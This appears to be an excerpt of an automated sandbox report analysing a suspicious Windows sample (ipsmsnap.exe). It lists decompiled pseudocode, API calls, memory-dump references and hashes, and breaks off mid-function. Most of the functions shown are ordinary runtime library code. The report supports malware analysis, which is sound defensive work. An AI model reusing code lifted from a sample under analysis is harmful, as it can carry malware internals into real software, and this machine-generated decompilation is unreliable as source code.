Function 011502F2, Relevance: 7.6, APIs: 5, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E011502F2(void* __edx, void* __fp0) {
				int _v8;
				int _t4;
				int _t5;
				char* _t16;
				void* _t20;
				WCHAR* _t22;
				WCHAR* _t23;
				WCHAR* _t26;
				int _t29;
				void* _t39;

				_t39 = __fp0;
				_t20 = __edx;
				_push(GetEnvironmentStringsW());
				_pop(_t22);
				_t4 = 0;
				_t23 = _t22;
				if(_t23 != 0) {
					_t26 = _t23;
					if( *_t23 != 0) {
						goto L2;
						do {
							do {
								L2:
								_t26 =  &(_t26[1]);
							} while ( *_t26 != _t4);
							_t26 =  &(_t26[1]);
						} while ( *_t26 != _t4);
					}
					_t29 = (_t26 - _t23 >> 1) + 1;
					_t5 = WideCharToMultiByte(_t4, _t4, _t23, _t29, _t4, _t4, _t4, _t4);
					_v8 = _t5;
					if(_t5 == 0) {
						L9:
						FreeEnvironmentStringsW(_t23);
						_t4 = 0;
					} else {
						_push(_t5);
						_t16 = E0114B206(_t20, _t39);
						if(_t16 == 0) {
							goto L9;
						} else {
							if(WideCharToMultiByte(0, 0, _t23, _t29, _t16, _v8, 0, 0) == 0) {
								E01149EF7(_t16);
								_t16 = 0;
							}
							FreeEnvironmentStringsW(_t23);
							_t4 = _t16;
						}
					}
				}
				return _t4;
			}

0x011502f2
0x011502f2
0x011502fd
0x011502fe
0x011502ff
0x01150301
0x01150303
0x01150306
0x0115030b
0x00000000
0x0115030d
0x0115030d
0x0115030d
0x0115030d
0x01150310
0x01150315
0x01150318
0x0115030d
0x01150326
0x0115032b
0x01150331
0x01150336
0x0115036f
0x01150370
0x01150376
0x01150338
0x01150338
0x01150341
0x01150343
0x00000000
0x01150345
0x01150359
0x0115035c
0x01150362
0x01150362
0x01150365
0x0115036b
0x0115036b
0x01150343
0x01150379
0x0115037e

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,0114A6F5), ref: 011502F7
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,?,?,?,0114A6F5), ref: 0115032B
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,?,00000000,00000000,?,?,?,?,0114A6F5), ref: 01150351
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,0114A6F5), ref: 01150365
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,0114A6F5), ref: 01150370

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: 2ff34f0bc12e6cab0702564bcaf319a4299c3fb3e3cfe66e07b6dd68e0e6184f
Instruction ID: 3debab132b446561083d7f9e8a19893f3a32191f44c2b5efe73f7f7cbb0be71b
Opcode Fuzzy Hash: 2ff34f0bc12e6cab0702564bcaf319a4299c3fb3e3cfe66e07b6dd68e0e6184f
Instruction Fuzzy Hash: 9E01F9A2904316FFABB82AF86C8CC3BBEACDA862553044136FD25D2045EB208C4183B0

Uniqueness

Uniqueness Score: -1.00%

Function 0114AE8C, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 16%

			E0114AE8C(void* __ecx, intOrPtr _a4) {
				struct HINSTANCE__* _v8;
				intOrPtr* _t4;
				intOrPtr* _t5;

				_t4 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t4, __ecx);
				_t5 = _t4;
				if(_t5 != 0) {
					_t5 = GetProcAddress(_v8, "CorExitProcess");
					if(_t5 != 0) {
						return  *_t5(_a4);
					}
				}
				return _t5;
			}

0x0114ae90
0x0114ae9b
0x0114aea1
0x0114aea3
0x0114aeb3
0x0114aeb5
0x00000000
0x0114aeba
0x0114aeb5
0x0114aebf

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00003DB9,?,?,0114AECB,011442F1,?,01150F31,000000FF,0000001E,01167758,00000008,01150E95,011442F1,?), ref: 0114AE9B
GetProcAddress.KERNEL32(00003DB9,CorExitProcess), ref: 0114AEAD

Strings

CorExitProcess, xrefs: 0114AEA5
mscoree.dll, xrefs: 0114AE94

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 80bd6119abb2a62e9c11565d66a6929c410dbd761c5d4da5452438bfc8b97f6c
Instruction ID: dd1a797b766b1a353b3921972c6d14ef390a27b1db35a027b4bb91ee77996d77
Opcode Fuzzy Hash: 80bd6119abb2a62e9c11565d66a6929c410dbd761c5d4da5452438bfc8b97f6c
Instruction Fuzzy Hash: CFD01230644209FBEB29AA95DC06F5B7FADAB44581F040065BA39E2051EB728A209760

Uniqueness

Uniqueness Score: -1.00%

Function 008121A0, Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 008121F9
SetLastError.KERNEL32(0000007E), ref: 0081223B

Memory Dump Source

Source File: 00000000.00000002.202137086.0000000000811000.00000020.00000001.sdmp, Offset: 00811000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_811000_PHvqpLRfRl.jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: 450a70ec88ffa2824b6d19b9f45a836270aa7be0437d5f1c2186939f7e3559d8
Instruction ID: fe149296bdbc7cd4fe6ca293ce4230b3f9b8d02804d220fdfed159cb68a047db
Opcode Fuzzy Hash: 450a70ec88ffa2824b6d19b9f45a836270aa7be0437d5f1c2186939f7e3559d8
Instruction Fuzzy Hash: 4381A974A00209EFDB04CF94C994AAEB7B5FF48314F248158E919AB351D734EE91CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0114C399, Relevance: 6.0, APIs: 4, Instructions: 46
threadCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E0114C399(void* __ebx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t3;
				intOrPtr _t6;
				long _t14;
				long* _t27;
				long* _t28;

				E0114AFA8(_t3);
				if(E01150FAF() != 0) {
					_push(E0114C12A);
					_t6 = E0115037F();
					 *0x11695a0 = _t6;
					__eflags = _t6 - 0xffffffff;
					if(_t6 == 0xffffffff) {
						goto L1;
					} else {
						_push(0x3bc);
						_push(1);
						_t27 = E0114B1BE();
						_t28 = _t27;
						__eflags = _t28;
						if(_t28 == 0) {
							L6:
							E0114C40F();
							__eflags = 0;
							return 0;
						} else {
							__eflags = E011503DB( *0x11695a0, _t28);
							if(__eflags == 0) {
								goto L6;
							} else {
								_push(0);
								_push(_t28);
								E0114C2E6(__ebx, __edi, _t28, __eflags);
								_t14 = GetCurrentThreadId();
								_t28[1] = _t28[1] | 0xffffffff;
								 *_t28 = _t14;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E0114C40F();
					return 0;
				}
			}

0x0114c399
0x0114c3a5
0x0114c3af
0x0114c3b4
0x0114c3b9
0x0114c3bf
0x0114c3c2
0x00000000
0x0114c3c4
0x0114c3c5
0x0114c3ca
0x0114c3d2
0x0114c3d5
0x0114c3d5
0x0114c3d7
0x0114c406
0x0114c406
0x0114c40b
0x0114c40e
0x0114c3d9
0x0114c3e7
0x0114c3e9
0x00000000
0x0114c3eb
0x0114c3eb
0x0114c3ed
0x0114c3ee
0x0114c3f5
0x0114c3fb
0x0114c3ff
0x0114c403
0x0114c405
0x0114c405
0x0114c3e9
0x0114c3d7
0x0114c3a7
0x0114c3a7
0x0114c3a7
0x0114c3ae
0x0114c3ae

APIs

__init_pointers.LIBCMT ref: 0114C399

Part of subcall function 0114AFA8: RtlEncodePointer.NTDLL(00000000,?,0114C39E,0114A6BF,01167410,00000014), ref: 0114AFAB
Part of subcall function 0114AFA8: __initp_misc_winsig.LIBCMT ref: 0114AFC6
Part of subcall function 0114AFA8: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 01150495
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 011504A9
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 011504BC
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 011504CF
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 011504E2
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 011504F5
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 01150508
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 0115051B
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0115052E
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 01150541
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 01150554
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 01150567
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 0115057A
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 0115058D
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 011505A0
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 011505B3

__mtterm.LIBCMT ref: 0114C3A7

Part of subcall function 0114C40F: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,0114C3AC,0114A6BF,01167410,00000014), ref: 01150EC9
Part of subcall function 0114C40F: DeleteCriticalSection.KERNEL32(01169B00,?,?,0114C3AC,0114A6BF,01167410,00000014), ref: 01150EF2

GetCurrentThreadId.KERNEL32 ref: 0114C3F5

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__init_pointers__initp_misc_winsig__mtterm
String ID:
API String ID: 4107606983-0
Opcode ID: afa79d5a156e539f13d00f068432be951485c5d4efc5bd4c874df3c9832c224e
Instruction ID: 2044944b595764ac801b788ae68411a82194cdb6dfa75360ef9497bc94a02cf8
Opcode Fuzzy Hash: afa79d5a156e539f13d00f068432be951485c5d4efc5bd4c874df3c9832c224e
Instruction Fuzzy Hash: 29F0F67255E313AFF37C3EBD7D0179B2A848B11E78B20422AF961D40D4FF52804282D8

Uniqueness

Uniqueness Score: -1.00%

Function 0115ADD2, Relevance: 6.0, APIs: 4, Instructions: 39
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 67%

			E0115ADD2(void* __ebx, void* __edi, intOrPtr* _a4) {
				void* __esi;
				void* __ebp;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t15;
				intOrPtr _t16;
				void* _t17;
				void* _t19;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t26;
				intOrPtr* _t27;
				void* _t32;

				_t26 = __edi;
				_t21 = __ebx;
				_t11 = E01152AFB();
				_t27 = _a4;
				_push(2);
				 *_t27 = _t11;
				_t12 = E0114B1BE();
				 *((intOrPtr*)(_t27 + 4)) = _t12;
				_t23 = 0x100;
				if(_t12 == 0) {
					_t13 = E01152AD2();
					 *(_t27 + 8) =  *(_t27 + 8) & 0x00000000;
					 *((intOrPtr*)(_t27 + 4)) = _t13;
				} else {
					_t19 = E01152AD2();
					_t3 = _t27 + 4; // 0x115ad21
					E01148C30( *_t3, _t19, 0x200);
					 *(_t27 + 8) = 1;
				}
				_t15 =  *((intOrPtr*)(E01152B21() + 4));
				 *((intOrPtr*)(_t27 + 0xc)) = _t15;
				_t16 = _t15;
				if(_t16 != 0) {
					_push(_t16);
					 *((intOrPtr*)(_t27 + 0xc)) = E0115C568(_t21, _t23, _t25, _t26, _t27, _t32);
				}
				_t17 = _t27;
				return _t17;
			}

0x0115add2
0x0115add2
0x0115add6
0x0115addb
0x0115adde
0x0115ade5
0x0115ade7
0x0115adec
0x0115adf0
0x0115adf3
0x0115ae14
0x0115ae19
0x0115ae1d
0x0115adf5
0x0115adfa
0x0115ae00
0x0115ae03
0x0115ae0b
0x0115ae0b
0x0115ae25
0x0115ae28
0x0115ae2b
0x0115ae2d
0x0115ae2f
0x0115ae36
0x0115ae36
0x0115ae3a
0x0115ae3d

APIs

____lc_codepage_func.LIBCMT ref: 0115ADD6
___pctype_func.LIBCMT ref: 0115ADFA
___pctype_func.LIBCMT ref: 0115AE14
____lc_locale_name_func.LIBCMT ref: 0115AE20

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: ___pctype_func$____lc_codepage_func____lc_locale_name_func
String ID:
API String ID: 1815563632-0
Opcode ID: fb965ddb47ed31234af9a03c23d517de4e3765854a8b05bf47363999a31a0e12
Instruction ID: 08da8298b1e5cfc8a1b686c0ab63006250292fd1ee91fd1817c695357c179089
Opcode Fuzzy Hash: fb965ddb47ed31234af9a03c23d517de4e3765854a8b05bf47363999a31a0e12
Instruction Fuzzy Hash: F6F06272544712DFE768AFA4E805A567BD8DF20728F00C82ED9698BA81EB74E4408B94

Uniqueness

Uniqueness Score: -1.00%

Function 00812430, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 00812468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 008124B2

Strings

@, xrefs: 00812453

Memory Dump Source

Source File: 00000000.00000002.202137086.0000000000811000.00000020.00000001.sdmp, Offset: 00811000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_811000_PHvqpLRfRl.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: f7902d91c0460940e2daa6be2983cd94a71a8afa808cf9f64af95f06cc416db1
Instruction ID: 11d0ee0d217b031704d27468e0d13da525c87baa8c2824e63d5d8d89c9cec819
Opcode Fuzzy Hash: f7902d91c0460940e2daa6be2983cd94a71a8afa808cf9f64af95f06cc416db1
Instruction Fuzzy Hash: E921A6B0A0420DEBDF14CF94C984BEDBBB9FF48308F208599D905A7244D774AE90DB59

Uniqueness

Uniqueness Score: -1.00%

Function 011412A0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E011412A0(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* __esp;
				signed int _t24;
				void* _t35;
				void* _t38;
				void* _t44;
				void* _t45;
				signed int _t46;

				_t45 = __esi;
				_t44 = __edi;
				_t38 = __ebx;
				_pop(_t46);
				_t24 =  *0x1169060; // 0x43153b94
				 *(_t46 - 4) = _t24 ^ _t46;
				 *(_t46 - 0x30) = 0;
				 *((intOrPtr*)(_t46 - 0x2f)) = 0;
				 *((intOrPtr*)(_t46 - 0x2b)) = 0;
				 *((intOrPtr*)(_t46 - 0x27)) = 0;
				 *((intOrPtr*)(_t46 - 0x23)) = 0;
				 *((intOrPtr*)(_t46 - 0x1f)) = 0;
				 *((intOrPtr*)(_t46 - 0x1b)) = 0;
				 *((intOrPtr*)(_t46 - 0x17)) = 0;
				 *((intOrPtr*)(_t46 - 0x13)) = 0;
				 *((intOrPtr*)(_t46 - 0xf)) = 0;
				 *((intOrPtr*)(_t46 - 0xb)) = 0;
				 *(_t46 - 0x38) = E011493A0("http://schemas.microsoft.com/xps/2005/06") + 1;
				 *(_t46 - 0x34) = 0x80004005;
				_t39 = _t46 - 0x30;
				_t43 =  *(_t46 - 0x38);
				if(ExtEscape( *(_t46 + 8), 0x14, 0, 0,  *(_t46 - 0x38), _t46 - 0x30) >= 0) {
					if(E01149310(_t46 - 0x30, "http://schemas.microsoft.com/xps/2005/06") != 0) {
						 *(_t46 - 0x34) = 1;
					} else {
						 *(_t46 - 0x34) = 0;
					}
				} else {
					_push(GetLastError());
					 *(_t46 - 0x34) = E01141730(_t39);
				}
				_t35 = E0114942B(_t38,  *(_t46 - 4) ^ _t46, _t43, _t44, _t45);
				_push(_t46);
				return _t35;
			}

0x011412a0
0x011412a0
0x011412a0
0x011412a2
0x011412a6
0x011412ad
0x011412b0
0x011412b6
0x011412b9
0x011412bc
0x011412bf
0x011412c2
0x011412c5
0x011412c8
0x011412cb
0x011412ce
0x011412d1
0x011412e4
0x011412e7
0x011412ee
0x011412f2
0x01141308
0x01141331
0x0114133c
0x01141333
0x01141333
0x01141333
0x0114130a
0x01141310
0x01141319
0x01141319
0x0114134b
0x01141350
0x01141353

APIs

ExtEscape.GDI32(?,00000014,00000000,00000000,?,00000000), ref: 01141300
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,01141A43,00000000,?,00000100,Microsoft XPS Document Writer), ref: 0114130A

Strings

http://schemas.microsoft.com/xps/2005/06, xrefs: 011412D4, 0114131E

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: ErrorEscapeLast
String ID: http://schemas.microsoft.com/xps/2005/06
API String ID: 1355522046-742551586
Opcode ID: c2f98ccc64048b27949f1da9267ad2eedc9840ed2a419888d4acb73d227ccf36
Instruction ID: b03bdb8dcf5b7bd3430bd98ada8bd8d58befaecc4a7e46e9baae5df348d72764
Opcode Fuzzy Hash: c2f98ccc64048b27949f1da9267ad2eedc9840ed2a419888d4acb73d227ccf36
Instruction Fuzzy Hash: 3B2103B1E4120DEFDB48DFA8E945BEEBBF4AB18758F10002AE409E6240E7716640CB65

Uniqueness

Uniqueness Score: -1.00%

Function 011423D0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E011423D0(intOrPtr __eax) {
				void* _t47;
				void* _t48;

				_t47 = _t48;
				 *((intOrPtr*)(_t47 - 8)) = 0;
				 *((intOrPtr*)(_t47 - 4)) = 0;
				__imp__#2(L"psf:PrintCapabilities/psf:Feature[substring-after(@name,\':\')=\'PageMediaSize\'][name(namespace::*[.=\'http://schemas.microsoft.com/windows/2003/08/printing/printschemakeywords\'])=substring-before(@name,\':\')]/psf:Option[substring-after(@name,\':\')=\'ISOA4\'][name(namespace::*[.=\'http://schemas.microsoft.com/windows/2003/08/printing/printschemakeywords\'])=substring-before(@name,\':\')]");
				 *((intOrPtr*)(_t47 - 0xc)) = __eax;
				if( *((intOrPtr*)(_t47 + 0x10)) == 0) {
					 *((intOrPtr*)( *((intOrPtr*)(_t47 + 0x10)))) = 0;
				}
				if( *((intOrPtr*)(_t47 - 0xc)) == 0) {
					 *((intOrPtr*)(_t47 - 8)) = 0x8007000e;
				}
				if( *((intOrPtr*)(_t47 - 8)) >= 0) {
					_push(_t47 - 4);
					_push( *((intOrPtr*)(_t47 - 0xc)));
					_push( *((intOrPtr*)(_t47 + 0xc)));
					_push( *((intOrPtr*)(_t47 + 8)));
					 *((intOrPtr*)(_t47 - 8)) = E01142230( *((intOrPtr*)(_t47 + 0xc)));
				}
				if( *((intOrPtr*)(_t47 - 8)) >= 0) {
					 *((intOrPtr*)(_t47 - 8)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t47 - 4)))) + 0x24))))( *((intOrPtr*)(_t47 - 4)),  *((intOrPtr*)(_t47 + 0x10)));
				}
				if( *((intOrPtr*)(_t47 - 0xc)) != 0) {
					__imp__#6( *((intOrPtr*)(_t47 - 0xc)));
				}
				if( *((intOrPtr*)(_t47 - 4)) != 0) {
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t47 - 4)))) + 8))))( *((intOrPtr*)(_t47 - 4)));
				}
				return  *((intOrPtr*)(_t47 - 8));
			}

0x011423d2
0x011423d6
0x011423dd
0x011423e9
0x011423ef
0x011423f6
0x011423fb
0x011423fb
0x01142405
0x01142407
0x01142407
0x01142412
0x01142417
0x0114241b
0x0114241f
0x01142423
0x0114242c
0x0114242c
0x01142433
0x01142447
0x01142447
0x0114244e
0x01142454
0x01142454
0x0114245e
0x0114246c
0x0114246c
0x01142474

APIs

SysAllocString.OLEAUT32(psf:PrintCapabilities/psf:Feature[substring-after(@name,':')='PageMediaSize'][name(namespace::*[.='http://schemas.microsoft.com/wi), ref: 011423E9
SysFreeString.OLEAUT32(00000000), ref: 01142454

Strings

psf:PrintCapabilities/psf:Feature[substring-after(@name,':')='PageMediaSize'][name(namespace::*[.='http://schemas.microsoft.com/wi, xrefs: 011423E4

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: String$AllocFree
String ID: psf:PrintCapabilities/psf:Feature[substring-after(@name,':')='PageMediaSize'][name(namespace::*[.='http://schemas.microsoft.com/wi
API String ID: 344208780-162872714
Opcode ID: 9d325ea5a062461545491c2d3892e33652506d3d83288baf140c79c15bc93e68
Instruction ID: ec5cf1191d6a90bd01017eaef2335a7590b85eed1e268458297e1545e68cc58b
Opcode Fuzzy Hash: 9d325ea5a062461545491c2d3892e33652506d3d83288baf140c79c15bc93e68
Instruction Fuzzy Hash: 13210A75900208EFDB18DF98D888B9EBBB4FF48704F208198E519A7294D3759BC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0115B402, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0115B402(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t19;
				intOrPtr _t40;
				intOrPtr* _t42;
				void* _t43;

				_push(0x14);
				E01156239(E0115EC49, __ebx, __edi, __esi);
				E0115AC4C(__ebx, _t43 - 0x14, __edi, 0);
				_t40 =  *0x116b990; // 0x0
				 *(_t43 - 4) =  *(_t43 - 4) & 0x00000000;
				 *((intOrPtr*)(_t43 - 0x10)) = _t40;
				_push(E01146220(0x116b988));
				_t42 = E01146970( *((intOrPtr*)(_t43 + 8)));
				if(_t42 == 0) {
					if(_t40 == 0) {
						_push( *((intOrPtr*)(_t43 + 8)));
						_push(_t43 - 0x10);
						__eflags = E0115B7FB(__ebx, _t40, _t42, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							_push("bad cast");
							E01149FDC(_t43 - 0x20);
							E0114A12A(_t43 - 0x20, 0x1167380);
						}
						_t42 =  *((intOrPtr*)(_t43 - 0x10));
						 *0x116b990 = _t42;
						 *((intOrPtr*)( *_t42 + 4))();
						_push(_t42);
						E0115B150(__eflags);
					} else {
						_t42 = _t40;
					}
				}
				E0115ACA7(_t43 - 0x14);
				_t19 = _t42;
				return E01156216(_t19);
			}

0x0115b402
0x0115b409
0x0115b413
0x0115b418
0x0115b423
0x0115b427
0x0115b432
0x0115b438
0x0115b43c
0x0115b440
0x0115b446
0x0115b44c
0x0115b454
0x0115b457
0x0115b459
0x0115b461
0x0115b46f
0x0115b46f
0x0115b474
0x0115b479
0x0115b481
0x0115b484
0x0115b485
0x0115b442
0x0115b443
0x0115b443
0x0115b440
0x0115b48e
0x0115b494
0x0115b49a

APIs

__EH_prolog3.LIBCMT ref: 0115B409
std::_Lockit::_Lockit.LIBCPMT ref: 0115B413

Part of subcall function 01146220: std::_Lockit::_Lockit.LIBCPMT ref: 01146236

Strings

bad cast, xrefs: 0115B459

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: LockitLockit::_std::_$H_prolog3
String ID: bad cast
API String ID: 297366252-3145022300
Opcode ID: c6c7b512c380cbb3a8e63b1b81a58ddbc38153e6e7277accbed45c768690a152
Instruction ID: b9a9e82718eb7bf635d14b6f1b93c372ee937956ced118bc8d2dd5d20473b437
Opcode Fuzzy Hash: c6c7b512c380cbb3a8e63b1b81a58ddbc38153e6e7277accbed45c768690a152
Instruction Fuzzy Hash: 1301223290421ADBCF5CFBA4D840AEEB739BF14658F044519E831B7190DB318900C7A4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ipsmsnap.exe PID: 2328 Parent PID: 3176 ipsmsnap.exeCOMMON

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	39.7%
Signature Coverage:	1.6%
Total number of Nodes:	940
Total number of Limit Nodes:	119

Executed Functions

Function 01159723, Relevance: 20.1, APIs: 13, Instructions: 554
COMMONLIBRARYCODECrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E01159723(void* __ebx, void* __edx, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v15;
				void _v16;
				char _v3432;
				void _v5136;
				short _v6844;
				signed int _v6848;
				int _v6852;
				signed int _v6856;
				long _v6860;
				short _v6864;
				void* _v6868;
				signed int _v6872;
				signed int _v6876;
				signed int _v6880;
				long _v6884;
				char _v6885;
				long _v6892;
				intOrPtr _v6896;
				int _v6900;
				void* __edi;
				void* __esi;
				signed int _t260;
				signed int _t262;
				signed int _t265;
				signed int _t268;
				signed int _t269;
				void* _t272;
				signed int* _t280;
				signed int _t285;
				signed int _t286;
				signed int _t292;
				signed int _t294;
				signed int _t295;
				signed int _t297;
				signed int _t303;
				void* _t305;
				signed int _t308;
				signed int _t314;
				void* _t315;
				intOrPtr _t318;
				void* _t319;
				signed int _t324;
				int _t326;
				signed short* _t327;
				void* _t328;
				signed int _t332;
				signed int _t334;
				void* _t337;
				signed int _t338;
				long _t342;
				signed int _t346;
				signed int _t352;
				char _t356;
				void* _t359;
				short _t364;
				void* _t365;
				signed char _t377;
				signed int _t378;
				signed int _t380;
				signed int* _t381;
				long _t382;
				signed int _t384;
				signed int _t385;
				signed int _t386;
				signed int _t388;
				signed int _t390;
				intOrPtr _t392;
				signed int _t393;
				signed short* _t398;
				signed int _t399;
				int _t402;
				int _t404;
				char _t409;
				signed int _t410;
				signed int _t411;
				signed int _t412;
				short _t416;
				signed int _t418;
				signed int _t428;
				signed int _t436;
				void* _t437;
				signed short* _t439;
				signed int _t440;
				signed int _t441;
				char* _t442;
				long _t443;
				signed int _t445;
				signed int _t446;
				void* _t448;
				void* _t450;
				signed int _t451;
				signed int _t452;
				signed int _t454;
